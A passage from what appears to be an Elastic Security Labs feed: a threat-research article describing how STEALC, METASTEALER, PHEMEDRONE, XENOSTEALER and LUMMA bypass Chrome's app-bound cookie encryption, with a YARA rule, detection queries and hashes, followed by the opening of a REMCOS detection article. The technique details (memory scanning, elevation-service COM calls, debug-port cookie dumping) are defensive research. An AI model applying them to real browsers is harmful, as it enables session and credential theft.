<p>We used the <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123">signature patterns</a> to pivot to existing code developed for an offensive security tool called <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.</p>
<p>Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the <code>--utility-sub-type=network.mojom.NetworkService</code> command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s <a href="https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/">post</a>. It then returns a handle for that specific child process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image37.png" alt="Enumerating for Chrome’s network service" /></p>
<p>Next, it enumerates each module in the network service child process to find and retrieve the base address and size of <code>chrome.dll</code> loaded into memory. STEALC uses <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280"><code>CredentialKatz::FindDllPattern</code></a> and <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435"><code>CookieKatz::FindPattern</code></a> to locate the CookieMonster instances. There are 2 calls to <code>CredentialKatz::FindDllPattern</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image17.png" alt="Calls to CredentialKatz::FindDllPattern" /></p>
<p>In the first call to <code>CredentialKatz::FindDllPattern</code>, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in <code>chrome.dll</code>. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function <code>net::CookieMonster::~CookieMonster</code>, destructor of the <code>CookieMonster</code> class.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image14.png" alt="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" /></p>
<p>The second call to <code>CredentialKatz::FindDllPattern</code> passes in the function address for <code>net::CookieMonster::~CookieMonster(void)</code> as an argument for the byte sequence search, resulting in STEALC having a pointer to <code>CookieMonster</code>’s Virtual Function Pointer struct.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image19.png" alt="CookieMonster’s vtable in chrome.dll" /></p>
<p>The following method used by STEALC is again, identical to ChromeKatz, where it locates <code>CookieMonster</code> instances by scanning memory chunks in the <code>chrome.dll</code> module for pointers referencing the <code>CookieMonster</code> vtable. Since the vtable is a constant across all objects of a given class, any <code>CookieMonster</code> object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a <code>CookieMonster</code> instance and stores its address in an array.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image16.png" alt="Using CookieKatz::FindPattern to locate CookieMonster instances" /></p>
<p>For each identified <code>CookieMonster</code> instance, STEALC accesses the internal <code>CookieMap</code> structure located at an offset of <code>+0x30</code>, and which is a binary tree. Each node within this tree contains pointers to <code>CanonicalCookieChrome</code> structures. <code>CanonicalCookieChrome</code> structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image20.png" alt="Initiating CookieMap tree traversal for each CookieMonster instance found" /></p>
<p>For each node, it calls <code>ReadProcessMemory</code> to access the <code>CanonicalCookieChrome</code> structure from the target process’s memory, then further processing it in <code>jy::GenerateExfilString</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image31.png" alt="CookieMap traversal subroutine" /></p>
<p>STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the <code>HttpOnly</code> and <code>Secure</code> flags. It then appends details such as the cookie's name, value, domain, path, and the <code>HttpOnly</code> and <code>Secure</code> into a final string for exfiltration. <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10"><code>OptimizedString</code></a> structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image23.png" alt="Constructing string for data exfiltration" /></p>
<h2>METASTEALER</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a>, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version <code>129+</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image26.png" alt="METASTEALER announcement and translation" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image28.png" alt="source: https://x.com/g0njxa/status/1840761619686568319/" /></p>
<p>The <a href="https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a">first sample</a> observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing <code>Administrator</code> privileges, our testing revealed it does require elevated access, as it attempts to impersonate the <code>SYSTEM</code> token during execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image11.png" alt="Code comparison between an old and a new version of the family" /></p>
<p>As shown in the screenshots above, the <code>get_decryption</code> method now includes a new Boolean parameter. This value is set to <code>TRUE</code> if the encrypted data (cookie) begins with the <code>v20</code> prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.</p>
<p>The malware then attempts to access the <code>Local State</code> or <code>LocalPrefs.json</code> files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (<code>encrypted_key</code>) for older Chrome versions and <code>app_bound_encrypted_key</code> for newer ones. If the flag is set to <code>TRUE</code>, the malware specifically uses the <code>app_bound_encrypted_key</code> to decrypt cookies in line with the updated Chrome encryption method.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image13.png" alt="app_bound_encrypted_key extracted from Chrome json file" /></p>
<p>In this case, the malware first impersonates the <code>SYSTEM</code> token using a newly introduced class called <code>ContextSwitcher</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image35.png" alt="New class for TOKEN impersonation" /></p>
<p>It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named <code>GoogleChromeElevationService</code>, using the CLSID <code>708860E0-F641-4611-8895-7D867DD3675B</code>. Once initialized, it invokes the <a href="https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155"><code>DecryptData</code></a> method to decrypt the <code>app_bound_encrypted_key</code> key which will be used to decrypt the encrypted cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image8.png" alt="New class ComInvoker to invoke methods from GoogleChromeElevationService service" /></p>
<p>METASTEALER employs a technique similar to the one demonstrated in a <a href="https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824">gist</a> shared <a href="https://x.com/snovvcrash/status/1839715912812802162">on X</a> on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.</p>
<h2>PHEMEDRONE</h2>
<p>This <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">open-source stealer</a> caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent <a href="https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c">release</a> (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image10.png" alt="README.txt within PHEMEDRONE project" /></p>
<p>The malware first enumerates the different profiles within Chrome, then performs a browser check using function (<code>BrowserHelpers.NewEncryption</code>) checking for the Chrome browser with a version greater than or equal to <code>127</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image27.png" alt="Chrome version verification in PHEMEDRONE" /></p>
<p>If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image34.png" alt="High-level functions used cookie extraction in PHEMEDRONE" /></p>
<p>By viewing the <code>ChromeDevToolsWrapper</code> class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (<code>9222</code>) is used along with window-position set to <code>-2400</code>,<code>-2400</code> which is set off-screen preventing any visible window from alerting the victim.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image15.png" alt="New Chrome process in remote debug mode" /></p>
<p>Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (<code>Network.getAllCookies</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image24.png" alt="Chrome DevTools Protocol used to retrieve cookies" /></p>
<p>The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image32.png" alt="Cookie data within network capture" /></p>
<h2>XENOSTEALER</h2>
<p><a href="https://github.com/moom825/XenoStealer/">XENOSTEALER</a> is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.</p>
<p>The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the <code>app_bound_encrypted_key</code>. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of <code>Chrome.exe</code>, then injects code using a helper class called <a href="https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs"><code>SharpInjector</code></a>, passing the encrypted key as a parameter.</p>
<p>The injected code subsequently calls the <code>DecryptData</code> method from the <code>GoogleChromeElevationService</code> to obtain the decrypted key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image29.png" alt="Source code of the injected code" /></p>
<h2>LUMMA</h2>
<p>In mid-October, the latest version of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> implemented a new method to bypass Chrome cookie protection, as reported by <a href="https://x.com/g0njxa">@g0njxa</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image40.png" alt="" /></p>
<p>We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (<code>130.0.6723.70</code>). LUMMA first creates a visible Chrome process via <code>Kernel32!CreateProcessW</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image3.png" alt="Dump of CreateProcessW lpApplicationName parameter" /></p>
<p>This activity was followed up in the debugger with multiple calls to <code>NtReadVirtualMemory</code> where we identified LUMMA searching within the Chrome process for <code>chrome.dll</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image7.png" alt="LUMMA seeks chrome.dll in Chrome" /></p>
<p>Once found, the malware copies the <code>chrome.dll</code> image to its own process memory using <code>NtReadVirtualMemory</code>. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s <code>CookieMonster</code> component.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image36.png" alt="Lumma’s pattern scanning" /></p>
<p>Lumma uses an obfuscated signature pattern to pinpoint the <code>CookieMonster</code> functionality:</p>
<pre><code>3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4
</code></pre>
<p>Below is the YARA rule after de-obfuscation:</p>
<pre><code>rule lumma_stealer
{
  meta:
    author = &quot;Elastic Security Labs&quot;
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}
</code></pre>
<p>After decoding and searching for the pattern in <code>chrome.dll</code>, this leads to the <code>CookieMonster</code> destructor (<a href="https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657"><code>net::CookieMonster::~CookieMonster</code></a>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image25.png" alt="Lumma pattern match on CookieMonster" /></p>
<p>The cookies are then identified in memory and dumped out in clear text from the Chrome process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image21.png" alt="LUMMA dumping the cookie in clear text from Chrome" /></p>
<p>Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image12.png" alt="Received stolen cookies on the C2 side" /></p>
<h1>Detection</h1>
<p>Below are the following behavioral detections that can be used to identify techniques used by information stealers:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8">Web Browser Credential Access via Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3">Browser Debugging from Unusual Parent</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8">Potential Browser Information Discovery</a></li>
</ul>
<p>Additionally, the following queries can be used for hunting diverse related abnormal behaviors:</p>
<h2>Cookies access by an unusual process</h2>
<p>This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.file-default*
| where event.category == &quot;file&quot; and event.action == &quot;open&quot; and file.name == &quot;Cookies&quot; and file.path like &quot;*Chrome*&quot;
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image22.png" alt="ES|QL query results for suspicious browser cookies file access" /></p>
<p>METASTEALER behavior tends to first terminate all running chrome instances then calls <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"><code>CoCreateInstance</code></a> to instantiate the Google Chrome <a href="https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/">elevation service</a>, this series of events can be expressed with the following EQL query:</p>
<pre><code class="language-sql">sequence by host.id with maxspan=1s
[process where event.action == &quot;end&quot; and process.name == &quot;chrome.exe&quot;] with runs=5
[process where event.action == &quot;start&quot; and process.name == &quot;elevation_service.exe&quot;]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image4.png" alt="EQL query results for suspicious browser termination" /></p>
<p>The previous hunt indicates suspicious agents but doesn't identify the source process. By <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663">enabling registry object access auditing through event 4663</a> on the Chrome Elevation service CLSID registry key <code>{708860E0-F641-4611-8895-7D867DD3675B}</code>, we can detect unusual processes attempting to access that key:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image9.png" alt="Google Chrome Elevation COM registry access" /></p>
<pre><code class="language-sql">FROM logs-system.security-default* | where event.code == &quot;4663&quot; and winlog.event_data.ObjectName == &quot;\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}&quot; and not winlog.event_data.ProcessName in (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;, &quot;C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe&quot;) and not winlog.event_data.ProcessName like &quot;C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe&quot; | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below is an example of matches on the METASTEALER malware while calling <code>CoCreateInstance (CLSID_Elevator)</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image39.png" alt="ES|QL query results for suspicious access to chrome elevation service registry" /></p>
<p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">PHEMEDRONE</a> stealer uses the <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">known</a> browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port <code>9222</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image33.png" alt="PHEMEDRONE - network connection to chrome over port 9222" /></p>
<p>The following EQL query can be used to look for unusual processes performing similar behavior:</p>
<pre><code class="language-sql">sequence by host.id, destination.port with maxspan=5s
[network where event.action == &quot;disconnect_received&quot; and
 network.direction == &quot;ingress&quot; and
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and
 source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
[network where event.action == &quot;disconnect_received&quot; and network.direction == &quot;egress&quot; and not
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image1.png" alt="EQL query results for browser debugging activity" /></p>
<h2>Chrome Browser Spawned from an Unusual Parent</h2>
<p>The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.process-*
| where event.category == &quot;process&quot; and event.type == &quot;start&quot; and to_lower(process.name) == &quot;chrome.exe&quot; and process.command_line like  &quot;*--profile-directory=Default*&quot;
| eval process_parent_path = replace(to_lower(process.parent.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image18.png" alt="ES|QL query results for chrome browser spawned from an unusual parent" /></p>
<h2>Untrusted Binaries from Chrome Application folder</h2>
<p>Since the Chrome elevation service <a href="https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56">trusts</a> binaries running from the Chrome <code>program files</code> folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:</p>
<h3>Unsigned DLLs loaded from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.library*
| where event.category == &quot;library&quot; and event.action == &quot;load&quot; and to_lower(dll.path) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<h3>Unsigned executable launched from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.process*
| where event.category == &quot;library&quot; and event.type == &quot;start&quot; and (to_lower(process.executable) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; or to_lower(process.executable) like &quot;c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot;)
and not (process.code_signature.trusted == true and process.code_signature.subject_name == &quot;Goole LLC&quot;)
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image6.png" alt="ES|QL query results for malicious DLL loaded by Chrome" /></p>
<h1>Conclusion</h1>
<p>Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.</p>
<p>Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.</p>
<h2>Stealer Bypasses and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1559/001/">Inter-Process Communication: Component Object Model</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows.Trojan.Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar">Windows.Infostealer.PhemedroneStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows.Trojan.MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar">Windows.Trojan.Xeno</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar">Windows.Trojan.Lumma</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar">Windows.Infostealer.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d</td>
<td>SHA-256</td>
<td>num.exe</td>
<td>STEALC</td>
</tr>
<tr>
<td>08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37</td>
<td>SHA-256</td>
<td>HardCoreCrack.exe</td>
<td>PHEMEDRONE</td>
</tr>
<tr>
<td>43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d</td>
<td>SHA-256</td>
<td>Ranginess.exe</td>
<td>METASTEALER</td>
</tr>
<tr>
<td>84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176</td>
<td>SHA-256</td>
<td></td>
<td>LUMMA</td>
</tr>
<tr>
<td>b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b</td>
<td>SHA-256</td>
<td>XenoStealer.exe</td>
<td>XENOSTEALER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://developer.chrome.com/release-notes/127">https://developer.chrome.com/release-notes/127</a></li>
<li><a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Four]]></title>
            <link>https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-four</link>
            <guid>dissecting-remcos-rat-part-four</guid>
            <pubDate>Fri, 10 May 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[In previous articles in this multipart series, malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you’ll learn more about detecting and hunting REMCOS using Elastic technologies.]]></description>
            <content:encoded><![CDATA[<h1>Detections, hunts using ES|QL, and conclusion</h1>
<p>In previous articles in this multipart series [<a href="https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-one">1</a>] [<a href="https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-two">2</a>] [<a href="https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-three">3</a>], malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you’ll learn more about detecting and hunting REMCOS using Elastic technologies.</p>
<h2>Detection and Hunt</h2>
<p>The following <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend</a> detections trigger on those techniques:</p>
<p><strong>Persistence (Run key)</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_startup_persistence_by_a_low_reputation_process.toml">Startup Persistence by a Low Reputation Process</a></li>
</ul>
<p><strong>Process Injection</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar">Windows.Trojan.Remcos</a>, <a href="https://www.elastic.co/pt/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection">shellcode_thread</a> (triggers multiple times on both watchdog and main REMCOS injected processes)</li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_svchost.toml">Potential Masquerading as SVCHOST</a> (REMCOS watchdog default to an injected svchost.exe child instance)</li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_remote_process_injection_via_mapping.toml">Remote Process Injection via Mapping</a> (triggers on both watchdog and injecting C:\Program Files (x86)\Internet Explorer\iexplore.exe)</li>
</ul>
<p><strong>Privilege Escalation (UAC Bypass)</strong></p>
<ul>
